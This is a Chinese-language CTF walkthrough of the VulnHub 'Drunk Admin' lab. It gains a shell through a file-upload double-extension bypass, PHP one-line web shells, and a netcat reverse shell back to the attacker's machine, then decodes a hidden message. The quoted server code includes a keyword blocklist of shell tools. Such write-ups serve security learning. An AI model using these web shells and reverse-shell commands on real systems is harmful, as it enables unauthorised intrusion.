VulnHub Drunk Admin Web Hacking Challenge: 1

Description

  • Name: Drunk Admin Web Hacking Challenge: 1
  • Date release: 2 Apr 2012
  • IP地址默认通过DHCP获取,通过其Web服务上可能存在的漏洞,来读取系统中隐藏的文件,Web服务是自定义的,因而不必通过搜索引擎去查找相关的Poc
  • 最终目标:揭示加密信息中的内容

Download

(Size: 539 MB)

前言

发布时间:2 Apr 2012

靶机IP:10.101.27.241

攻击机IP(Kalli):10.101.27.128

image.png

端口扫描

nmap -sV 10.101.27.241 -p1-65536

发现22端口开启了ssh服务以及8880端口的http服务

image.png

访问8880端口的服务,发现是一个图片上传的web应用

image.png

扫描网站目录

image-20200624142300550

尝试访问下发现

image-20200624142404546

木马上传

得从图片上传入手,发现上传非图片格式后缀文件,会显示:Invalid file extension!,将后缀名改为.php.jpg后上传成功

image-20200624143144997

图片地址为:http://10.101.27.241:8880/images/b864b86cfa7d0935f61dac5eac9e91e8.jpg,可以看到图片文件名被修改后存入,猜测为MD5,通过hash-identifier验证

image-20200624143422517.png

可以得知存储的文件名的规则为文件名的MD5值加上文件后缀

image-20200624143856940.png

发现上传.jpg.php也是可以的,在文件中写入:

<?php echo "success";?>

计算pic.jpg.php的MD5值,然后访问发现php代码被执行了

尝试写入一句话木马,

<?php echo exec($_GET[“cmd”]); ?>

上传后显示:Ohhh you are naughty!,可见进行了过滤被拦截

通过file_get_contents函数查看upload.php文件的内容

<?php echo file_get_contents('../upload.php');?>

简单整理之后如下:

<?php
(MAX_SIZE*1024) { 
    echo 'You have exceeded the size limit!'; 
    $errors=1; 
} 
$raw_name=md5($image); 
$image_name=md5($image).'.'.$extension; 
$newname="images/".$image_name; 
$copied = copy($_FILES['image']['tmp_name'], $newname); 
if (!$copied) { 
    echo 'Copy unsuccessful!'; 
    $errors=1; 
} 
else { 
    echo 'Invalid file extension!'; 
    $errors=1; 
} 
else { 
    echo 'No image selected. Be carefull next time!'; 
    $errors=1; 
} 
else { 
    echo 'No data? Come on give me something to play with!'; 
    $errors=1; 
} 
if(isset($_POST['Submit']) && !$errors) { 
    $file = file_get_contents("./images/$image_name"); 
    if( strpos($file,"perl") || 
       strpos($file,"bash") || 
       strpos($file,"sh -c") || 
       strpos($file,"python") || 
       strpos($file,"nc ") || 
       strpos($file,"netcat") || 
       strpos($file,"base64") || 
       strpos($file,"ruby") || 
       strpos($file,"fsockopen") || 
       strpos($file,"xterm") || 
       strpos($file,"gcc") || 
       strpos($file,'$_GET') || 
       strpos($file,'$_POST') || 
       strpos($file,'$_SERVER') || 
       strpos($file,'$_FILES') || 
       strpos($file,'$_COOKIE') ) { 
        echo "Ohhh you are naughty!"; 
        exec("rm ./images/$image_name"); 
        die; 
    } 
    setcookie("trypios", "$raw_name", time()+3600); 
    echo ''; 
} 
?> 

命令执行

可以看到对'$_GET'进行了过滤,所以在开始上传一句话木马的时候输出:"Ohhh you are naughty!",于是乎构造如下木马:

// filename:pic.jpg.php
// URL:http://10.101.27.241:8880/images/5fc28369a5fe906d8d884a82e1dafb8b.php?cmd=id
<?php echo exec($_REQUEST['cmd'])  ?>

image-20200624152934641

反弹shell

在kali上监听446端口

nc -nvlp 446

然后访问执行命令:

http://10.101.27.241:8880/images/5fc28369a5fe906d8d884a82e1dafb8b.php?cmd=nc%2010.101.27.128%20446%20-e%20/bin/bash

1.png

成功get shell,使用python提供的pty模块来获取一个标准的shell

python -c 'import pty;pty.spawn("/bin/bash")'

任务

FINAL GOAL: Reveal the hidden message for a date arrange that Bob sent to Alice.

靶机描述中的最终目标就找到隐藏的信息,先查看下www文件夹下面都有什么

image.png

发现有个.proof的隐藏文件,查看一下,发现加密字符串:TGglMUxecjJDSDclN1Ej

image.png

看起来像是base64,解密试试,得到:Lh%1L^r2CH7%7Q# ,看不出来什么东西

image-20200624205325072.png

尝试搜索一波包含encrypt的文件

find / -name "*encrypt*" 2>&1 | sed '/Permission denied/d;'

image.png

发现/home/bob/public_html/encrypt.php似乎有些东西,进入该文件所在的目录

image.png

文件位于public_html说明可以直接通过浏览器来进行访问,于是访问:http://10.101.27.241:8880/~bob/index.php

image.png

看起来是一个解密的应用,将刚刚base64解出来的字符串放进去试一试,得到一个经纬度的坐标,通过Google地图查看下,是在:Akti Tompazi, Chania 731 32, Greece

image.png

image.png

参考

http://www.cyberry.co.uk/vulnhub/drunk-admin-web-hacking-challenge-1/

原文地址:https://www.cnblogs.com/yoloyanng/p/13189941.html